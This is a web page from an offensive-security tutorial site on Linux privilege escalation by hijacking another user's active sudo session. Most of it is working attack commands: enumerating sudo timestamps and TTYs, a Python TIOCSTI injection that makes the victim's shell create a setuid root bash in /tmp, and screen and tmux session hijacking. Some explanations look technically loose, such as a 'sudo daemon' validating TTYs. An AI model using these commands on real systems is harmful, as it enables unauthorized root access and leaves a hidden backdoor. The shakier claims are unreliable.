# Sudo Token Reuse – Hijacking Active Sudo Sessions

> Exploit cached sudo credentials by hijacking active TTY sessions via /proc, enabling privilege escalation without knowing the target user's password.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/sudo-token-reuse
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

When a user runs sudo, the session token is cached in `/var/run/sudo/ts/` for a configurable window (default 15 minutes). If another user's sudo token is still valid and you can access their TTY device, you can inject a command into their terminal that runs sudo without re-authentication. This requires no password and no exploit: only access to the TTY device file.

Requirements for sudo token reuse:

- Another user has an active sudo session (token not expired)
- Write access to their TTY device or `/proc/[pid]/fd/0`
- Kernel below 6.2 or `dev.tty.legacy_tiocsti=1` for TIOCSTI injection
- Alternatively, access to their screen or tmux socket for session hijacking

## Prerequisites Check

Check if any user currently has an active sudo session:

```bash
# List sudo timestamp files
ls -la /var/run/sudo/ts/ 2>/dev/null

# Check if sudo is configured with a timeout
sudo -l | grep -i "timestamp\|timeout"
grep "timestamp_timeout" /etc/sudoers /etc/sudoers.d/* 2>/dev/null
```

A `timestamp_timeout=0` means no caching: this technique does not apply. A value of `-1` means the token never expires: even better for this technique.

Find users with active terminal sessions:

```bash
who
w
ps aux | grep -E "bash|sh|zsh" | grep -v "^root\|^$USER" | head -10
```

## Finding the Target TTY

Identify the terminal device of the user with the active sudo token:

```bash
# See all logged-in users and their TTYs
who
# e.g. alice    pts/1   2024-01-01 10:00

# Find the process using that TTY
ps aux | grep pts/1 | grep -v grep

# Get the PID of their shell
ps aux | grep alice | grep -E "bash|sh|zsh"
```

Check if you can write to their TTY device:

```bash
ls -la /dev/pts/1
# If group tty and you are in group tty, or world-writable:
groups | grep tty
```

## Technique 1: TTY Injection via /proc/[pid]/fd

If you have write access to the TTY device or the user's `/proc/[pid]/fd/0` (stdin), inject a command string:

```bash
# Get the target PID (their shell)
TARGET_PID=$(ps aux | grep alice | grep -E "bash|sh" | awk '{print $2}' | head -1)

# Check if their stdin fd is accessible
ls -la /proc/$TARGET_PID/fd/0 2>/dev/null

# Inject sudo command into their terminal
# This types the command as if they typed it
python3 -c "
import fcntl, termios, sys

target_pid = $TARGET_PID
fd = open(f'/proc/{target_pid}/fd/0', 'w')
for char in 'sudo cp /bin/bash /tmp/.rootbash; sudo chmod u+s /tmp/.rootbash\n':
    fcntl.ioctl(fd, termios.TIOCSTI, char.encode())
fd.close()
print('Injected')
"
```

`TIOCSTI` pushes characters into the terminal input queue as if the user typed them. The command executes in the context of the user's shell which still has a valid sudo token.

After injection:

```bash
/tmp/.rootbash -p
whoami
```

## Technique 2: nsenter + /proc/[pid]/fd/0

If `nsenter` is available and you can enter the target's namespace:

```bash
# Enter the target user's namespace via their shell PID
nsenter -t $TARGET_PID -m -u -i -n -p -- /bin/bash

# Inside the namespace: if sudo token is valid
sudo /bin/bash
```

This drops you into a shell within the same namespace as the target user. Their sudo token applies to your sudo call.

## Technique 3: screen Session Hijacking

If the user is running a `screen` session:

```bash
# List active screen sessions
screen -list 2>/dev/null
ls /var/run/screen/S-alice/ 2>/dev/null

# Check if socket is accessible
ls -la /var/run/screen/S-alice/ 2>/dev/null

# Attach to their session
screen -x alice/
```

If the `multiuser` flag is set on the screen session or permissions allow, you attach and share their interactive session. Their sudo token is available. Type your command and sudo works without a password.

## Technique 4: tmux Session Hijacking

```bash
# List tmux sessions
tmux list-sessions 2>/dev/null
ls /tmp/tmux-*/default 2>/dev/null

# Check socket permissions
ls -la /tmp/tmux-$(id -u $OTHER_USER)/

# If accessible
tmux -S /tmp/tmux-$OTHER_USER_ID/default attach
```

## Checking sudo Token Timeout

Understand how long you have before the token expires:

```bash
# Get the configured timeout
sudo -l | grep -i timeout
grep "timestamp_timeout" /etc/sudoers /etc/sudoers.d/* 2>/dev/null

# Check the timestamp file mtime: this shows when sudo was last used
stat /var/run/sudo/ts/$TARGET_USER 2>/dev/null
```

Default is 15 minutes from the last sudo command. If the user just ran sudo and you act within that window, the token is valid.

## Why This Works

sudo caches tokens per-TTY. When `TIOCSTI` injects characters into a terminal, the kernel processes them as real keystrokes: the sudo process authenticating them sees the same TTY as the token was issued for. The sudo daemon validates the TTY match and grants access without re-prompting.

`TIOCSTI` is controlled by the `dev.tty.legacy_tiocsti` sysctl (introduced in Linux 6.2, default 0 on 6.2+). On kernels before 6.2, or when legacy_tiocsti is set to 1, any process that can open the TTY device file can inject without any special capability.

Check kernel version:

```bash
uname -r
# < 6.2 = TIOCSTI available without special capabilities
```

## References

- [sudo(8) Manual](https://man7.org/linux/man-pages/man8/sudo.8.html) - Timestamp timeout configuration and token caching behavior.
- [tty_ioctl(4)](https://man7.org/linux/man-pages/man4/tty_ioctl.4.html) - Manual TIOCSTI ioctl documentation and kernel version restrictions.